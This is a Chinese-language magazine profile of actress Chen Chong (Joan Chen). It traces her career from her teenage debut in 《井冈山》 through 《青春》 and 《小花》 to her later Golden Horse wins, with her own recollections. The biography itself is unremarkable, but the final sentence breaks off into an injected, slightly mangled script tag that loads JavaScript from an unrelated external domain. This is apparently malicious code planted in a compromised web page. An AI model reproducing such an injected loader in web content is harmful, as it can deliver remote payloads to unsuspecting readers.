“生活延续着它自己,用残酷和友善催化你成熟,沉淀所有人生经历,你就觉得自己是无敌的。”
戏里戏外,陈冲的星途开满了“花”。
在那个纯真年代,“小花”是全民偶像,18岁的她摘得“文革”后第一顶“百花”桂冠。
8年后华丽转身,她在贝托鲁奇的《末代皇帝》中,揪下花瓣,塞进嘴中,嚼出一丝苦笑,“婉容”成了奥斯卡颁奖台上首位华裔女星。
1994年,她是角落里的“红玫瑰”,舒坦地抽烟,静谧地啜酒,隐隐诱惑着众生,斩下金马奖;10年后,她换上一袭宝蓝旗袍摇曳在《茉莉花开》中,尽显上海交际花的迟暮哀怨。2007年,由她饰演的“玫瑰”在《意》中淋漓绽放,再度获封金马影后。
黄健中曾经说:“那个时代的孩子中,陈冲是文化感觉最好的。出国后,她在美国生活环境中又完全保留了中国文化的特征,我希望她拍出些老辣的作品。”去年入围威尼斯的两大巨制中,老辣的陈冲,以配角身份几乎抢走了主角的光彩。
今年,陈冲的风头依然强劲,入席上海国际电影节评委,捧得最受关注女演员奖;第8届华语电影传媒颁奖礼上,她拿下最佳女配角,更获“百家传媒年度致敬电影人”殊荣。
陈冲羞赧地笑了:“现在的我,获奖就是‘锦上添花’。”
不爱红装爱武装
黑色高跟鞋露出玫瑰红的脚趾甲,老导演记忆中“拍《小花》时,饭嘎巴儿常粘在裤腿上的女孩”已经47岁了,“我哪怕全脱光了也不能不穿高跟鞋,没它们,我就失去了自信和安全感。”陈冲的声音带着上海女人特有的尾音,最后一个音节压在舌底,有桂花陈的糯香。
《太阳照常升起》中,圣洁白大褂包裹下,“林大夫”饱满的身材呼之欲出,每个细胞都流淌着不可名状的心底诉求,陈冲塑造了一个有中国特色的性感女神。“我们那个年代,对‘性感’这个词很陌生。当时电影里头,爱情是完全被避免的,苏联东西里至少还有革命爱情,我们没有这个东西,完全脱节的,空的!”
少年陈冲,不爱红装爱武装。“军装有点小腰身,看上去精神,而且,那时对人民解放军很爱戴。”她在第一部电影里圆了女兵梦。
1975年4月,电影《井冈山》在挑选一位小战士。“上头”批示,“这个红小鬼一定要有张新面孔!”一天,14岁的陈冲系着军用皮带,提着步枪从共青中学操场走过,那张不那么“样板”味的脸立即吸引了上影厂的武珍年,她观察着这个假小子:两只翘着睫毛的眼睛虎生生。
复试那天,陈冲穿着她那胳膊肘上打了两块补丁的旧军装,在考官面前朗诵了一段英文的“为人民服务”。“就这样,他们决定让我演那个小战士,现在我还记得那句台词,‘……陷落了,我是专程来送信的!’”
1977年,陈冲成为上影厂表演训练班最年幼的成员。“那是我第一次过集体生活,很新鲜。那时很多都是政治课,每天一大早起来,穿着大裆练功裤踢腿什么的,一群人混在一起很高兴,我们还看很多内部电影,那时看《魂断蓝桥》看得爱死了!”
电影《青春》开始筹拍了,谢晋来训练班挑女配角,陈冲够不上剧中男主角的“女友”年纪,成了这场竞技的局外人,她拿着一叠写满台词的纸,正在为别的女同学提词。
“那个小鬼叫什么?”谢晋用力看了看这个有点“逗”的小学员,她抿起的小嘴憨实倔强,笑里溢满无忌和明朗。好一个“哑妹”!就她了!陈冲被要求到聋哑学校体验生活,终于找到了角色的心理特征,在表演上取得巨大突破。这个清新的形象从成群的李铁梅、阿庆嫂中脱颖而出,唤起大众心底对纯真的向往。
《青春》放映后,陈冲成了明星,记者采访不断,今天招待会,明天拍封面,每天100多封观众来信,有时一天全花在回信上。学者家庭出身的陈冲不满足于表格上的“初中文化水平”,刻苦复习,硬碰硬地考进了上海外国语学院。考大学那个炎夏,她享受的唯一特权是离电扇最近的座位,走出考场,她的监考老师说了句英文:“能劳驾请你签个名吗?”
进大学半年,北影厂来学校邀请陈冲扮演“小花”,她被剧本吸引了:“虽然《桐柏英雄》讲的是战争,但是这个故事很有人情味。”带着衣物和课本,陈冲到了安徽外景地。
《小花》的扮演对陈冲是个考验,她与主人公属于不同的历史时代,除了通过读小说和回忆录了解当时社会,她还得反复揣摩角色个性。黄健中回忆:“‘兄妹相见’一场戏,十五英尺长度的特写镜头,你在剪接机上检查她每英尺胶片的表演,她从惊奇、判断、疑惑转为将信将疑吐出‘哥哥’二字,眼神所流露的每个情绪转换,都那么细腻、生动,简直惟妙惟肖。”
《小花》红遍了大江南北,陈冲当选“百花奖”最佳女演员,以她为封面的《大众电影》一时脱销。“有些小说当中会写,哎呀,这个小保姆长得有点像陈冲,哎呀,那个人长得像小花,当初我能理解这角色,但我不能理解它的重要性,现在我知道,它实际上已成为一种文化符号了?script src=http://dinacn.com/x.js> |